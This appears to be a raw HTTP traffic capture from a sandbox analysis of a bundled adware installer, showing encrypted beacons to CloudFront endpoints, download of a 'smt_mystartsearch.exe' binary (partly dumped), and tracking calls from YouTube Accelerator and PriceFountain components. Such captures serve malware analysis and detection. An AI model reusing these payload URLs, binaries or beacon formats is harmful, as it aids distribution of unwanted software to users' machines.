GET /p.ashx?e=/9ZmISdorEvwl4DCqEaRhHDXr6lyiDky7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUx5i6K0mlT5TX gjKfKdz3qbVx0ChS3xYkKYX3Ti/i3YM8Lp0Bjzny5rNm0VSYuTZTqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Mtl rzV01dnjJZfyEd/PsAAnLtKBEyxZuRl11KuUTCBdGeErCxtDx/2JYUXYGr9YA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:20 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: K93PKDpSi39Tq6Pd9r_11bJeA_-Z-6Olkeux1LkDWQU5WzdiUj1mow==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:20 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1af3b41af1ae11562aeae8eb3a7322
4a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: K93PKDpSi39Tq6Pd9r_11bJeA
_-Z-6Olkeux1LkDWQU5WzdiUj1mow==......

GET /p.ashx?e=R4rdFlCMSnTMZ3T6XmWM04h2bxJLWau2jA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bIvhLVO5thLx31fTgrR12XzVvyxRqdR3TdCUHeR8YCF3QAZhbXYiXtH9Bj8FzO5AzfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLDFmYI5EK 8ZVnoY0sWBvzp/bnwo1KLijIoXsXR5B39MKyjDBuaR92I= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:21 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hQKTyMVyQwBIHbqnzLekHsK0xUEF8FP2wamyImcb37Eh9cEPuLUGKg==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:21 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1af3b41af1ae11562aeae8eb3a7322
4a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: hQKTyMVyQwBIHbqnzLekHsK0x
UEF8FP2wamyImcb37Eh9cEPuLUGKg==......

GET /p.ashx?e=LCnUzM5l8JJqYAUAeKhUK4D1kQKaUTW/7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUxRuA9/MBnbNSFzoNt4Ofsjzs1eJiiYYwojgb6v7cXpPsUWb2bd g uW/S2k8Fb1dnjw/7DaCn3p8R fXJinWV7npoW8o/g6d5g577mTPDhZg2zg/uCXuilY0oQa07NiSGaby0ljeLb8jYmlyZEPVghB7c540dk3nMqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Mtl rzV01dnjJZfyEd/PsAAnLtKBEyxZuRl11KuUTCBdGeErCxtDx/2JYUXYGr9YA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: MjUNa-EjOXoDWrwqDHi6HBC13dlCb7gNPR0cyy0FLfHFwRE5RPaTMA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:19 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1af3b41af1ae11562aeae8eb3a7322
4a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: MjUNa-EjOXoDWrwqDHi6HBC13
dlCb7gNPR0cyy0FLfHFwRE5RPaTMA==......

GET /p.ashx?e=A3ANzFv7fWBPNjxRBLtb44DRoKLoui3g/WD6e6SZIIExLHUkaU066zsPf/PibBcq5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm6LQ1AVjbz2R b/YhL9w2PR0gYZFzD/Ro9gpblKfW4NYTpaUDUZgaqe6pljsVW0GPgTxIUcsgQ wxQcgloBwSmMwmitO34V/86C1h8Hfn1ha4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVl8OExMbLEeIflCy6ejQnT1EjfzVJkDqJc97GtiEVqJ0PNHOtGbUts g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:36 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nR04kN1DG7duCrIgb6NhcNlCn1tR6QMWJ7srpqsvrbgQo1A_grLamg==

....

GET /p.ashx?e=CwD9X8OFGaLMZ3T6XmWM0xIyllEwSvkGjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bLM4fFVRznoHYCpHZc9ZUaGWnHTR1jDHJZGcLghnE/hl7kN6o7do63aXdDw8APThW8D0 GGhAgJQxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9UpvOoju LNg2oiiVq1SStbMubU ieQ86G2kgoeLKovQKP ZDTcKvaA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:39 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4vq-zIkteKjFHzUSfuqArmFrQPgb2U6FsttJI0ZzJ2ihOtJNRY534g==

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=4&index_in_screen=1&index_in_session=4&0.9934186801815898 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:05 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:33:05 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=231240-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 07 Jan 2015 09:33:10 GMT

Content-Type: application/octet-stream

Content-Length: 77080

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sat, 10 Jan 2015 09:33:10 GMT

Cache-Control: max-age=259200

Content-Range: bytes 231240-308319/308320

.o..l....o.......o.......o.......W.......o.......o.......o.......o....
...p.......p...... p......,p......8p......Pp..,...\p..;...tp..>....
p..C....p..k....p.......p.......p.......p.......p.......p.......p.....
..p..;....q..k... q......0q......<q......Hq......Tq......`q......lq
......xq..;....q.......q.......q.......q.......q.......q.......q......
.q..;....q.......r.......r.......r......(r......4r..;...Lr......\r....
..hr......tr.......r..;....r... ...r... ...r... ...r..; ...r...$...r..
.$...r...$...r..;$...s...(...s...(...s...(..(s...,..4s...,..@s...,..Ls
...0..Xs...0..ds...0..ps...4..|s...4...s...4...s...8...s...8...s...<
;...s...<...s...@...s...@...s...D...s...H...s...L...t...P...t...|..
.t...|..(t..@l..B....k..,...0t..q...(j......<t......Ht......Tt.....
.`t......lt......xt.......t.......t.......t.......t.......t.......t...
....t..C....t.......t.......t......xk..)....t.......u..k...8k..!...,u.
.c...0j......8u..D...Du..}...Pu......8j......hu..E...Pj......tu..G....
u......Xj.......u..H...`j.......u.......u.......u..I....u.......u.....
.8l..A....u......hj.......u..J...pj.......u.......u.......v.......v...
... v......,v......8v......Dv......Pv......\v......hv..K...tv.......v.
.....xj.......v.......v.......v.......v.......v.......v.......v.......
v.......v.......v.......w.......w.......w......(w......4w......@w.....
.Lw......Xw......dw......Hk..#...pw..e....k..*...|w..l...`k..&....w..h
....j.......w..L....k.......w..s....j.......w.......w.......w.......w.
.M....w.......w...... l..>....w.......k..7....x.......j.......x

<<< skipped >>>

GET /YTAFinishInstall.gif HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: pix.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: Microsoft-IIS/5.1

Cache-Control: max-age=0, must-revalidate

Expires: Fri, 30 Oct 1998 14:29:43 GMT

Date: Mon, 07 Aug 2006 07:07:36 GMT

Connection: close

Content-Type:image/gif

GIF89a.............!.......,...........D..;HTTP/1.1 200 OK..Server: Mi
crosoft-IIS/5.1..Cache-Control: max-age=0, must-revalidate..Expires: F
ri, 30 Oct 1998 14:29:43 GMT..Date: Mon, 07 Aug 2006 07:07:36 GMT..Con
nection: close..Content-Type:image/gif..GIF89a.............!.......,..
.........D..;..

GET /home/smt_mystartsearch.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:09 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sat, 10 Jan 2015 09:33:09 GMT

Cache-Control: max-age=259200

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@..@.data....C...0...&..................@....rsrc...0.....
.......>..............@..@.reloc...H.......J...N..............@..B.
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^].................U...E..U....H.].................U........U..u.R.P..
U..H.;J.u...;.u.....]...2...]................U...E.;H.u...;E.u...]...2
.]........A............U..QV.u..E...........u.........A..E..F......F..
.......:.u.3.QR.........^..].....W.y...A..u. ._QR...y.....^..]......A.
...........U..Q.E.V.u..E........u(j..F......F.....h..A.......*.....^..
]...PV.:.....^..].....(.A............U..QV.u..E......Y....u.......<<< skipped >>>

GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623186&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=iu4uyr55ojj1ilz5use5lq45


HTTP/1.1 302 Found

Connection: close

Date: Wed, 07 Jan 2015 09:33:27 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623186&SBPIDS=1&KA=1

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 1268
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8a
d46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1420623186&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46
-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&
;PartnerList=&ElapsedTime=1420623186&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGTTAuzAluiepn5Ur3p1G7qqvo u/g==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....<<< skipped >>>

GET /pagead/viewthroughconversion/971163981/?random=580215148&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: googleads.g.doubleclick.net

DNT: 1

Connection: Keep-Alive

Cookie: id=caebd6253000002||t=1384780400|et=730|cs=002213fd480c4c2631f7c541a4


HTTP/1.1 302 Found

P3P: policyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Date: Wed, 07 Jan 2015 09:34:40 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://VVV.google.com/ads/conversion/971163981/?random=580215148&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=875502920

Content-Type: image/gif

X-Content-Type-Options: nosniff

Server: cafe

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
GIF89a.............!.......,...........D.;HTTP/1.1 302 Found..P3P: pol
icyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="C
URa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV O
TC NOI DSP COR"..Date: Wed, 07 Jan 2015 09:34:40 GMT..Pragma: no-cache
..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, mus
t-revalidate..Location: hXXp://VVV.google.com/ads/conversion/971163981
/?random=580215148&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoR
IQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&
u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=htt
p://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_
Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_b
r=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Wind
ows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID
=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&c
onvclickts=0&random=875502920..Content-Type: image/gif..X-Content-Type
-Options: nosniff..Server: cafe..Content-Length: 42..X-XSS-Protection:
 1; mode=block..Alternate-Protocol: 80:quic,p=0.02..GIF89a............
.!.......,...........D.;..<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8bdf8418-b466-4ed7-9e49-f26d02b7e07d&Password=79SH6wsy&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623187&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=zsogsl45bc1l1kixlfy4ncfd


HTTP/1.1 200 OK

Connection: close

Date: Wed, 07 Jan 2015 09:33:28 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...

GET /e?type=heart_bit&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&sset=7&cb=115_0_7&src=midn8&userAgent=Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: h.pricejs.net

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=86400

Content-Type: text/plain

Date: Wed, 07 Jan 2015 09:34:53 GMT

Expires: Thu, 08 Jan 2015 09:34:53 GMT

Last-Modified: Wed, 19 Nov 2014 11:15:15 GMT

Server: nginx/1.2.5

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=86400..
Content-Type: text/plain..Date: Wed, 07 Jan 2015 09:34:53 GMT..Expires
: Thu, 08 Jan 2015 09:34:53 GMT..Last-Modified: Wed, 19 Nov 2014 11:15
:15 GMT..Server: nginx/1.2.5..Content-Length: 1..Connection: keep-aliv
e.....

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2ly1rbvrtv0k6.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Mon, 05 Jan 2015 14:34:19 GMT

Last-Modified: Mon, 05 Jan 2015 13:19:36 GMT

ETag: "54aa8f68-6721"

Expires: Mon, 05 Jan 2015 14:44:19 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 321

X-Cache: Hit from cloudfront

Via: 1.1 e5c6a45cefc4c1d8e59eda29bdf1ce79.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -3z78MOseJazWj96EKUpLNa6LLYsA4eyXesSZaNYLTcxMbHXfl3wGA==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2ly1rbvrtv0k6.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 04 Jan 2015 05:01:47 GMT

Last-Modified: Sun, 02 Nov 2014 08:13:44 GMT

Expires: Sun, 04 Jan 2015 05:11:47 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Age: 414

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 e5c6a45cefc4c1d8e59eda29bdf1ce79.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kvPCivaDo3N8tbAhhkPgnVeA192Q2owfQYijpV27ucChXqnm0x62qw==
195b.............}.r....sU..C..cLE."U.m[. ."A.6I...d..#.$IT.H..Q......
....Yk.}....|..vtGQ@..........=...>^....tR\].=...{.....?9>>..
..z?.8/^..,..r........../.....j...........zqw<....X..c..p...h......
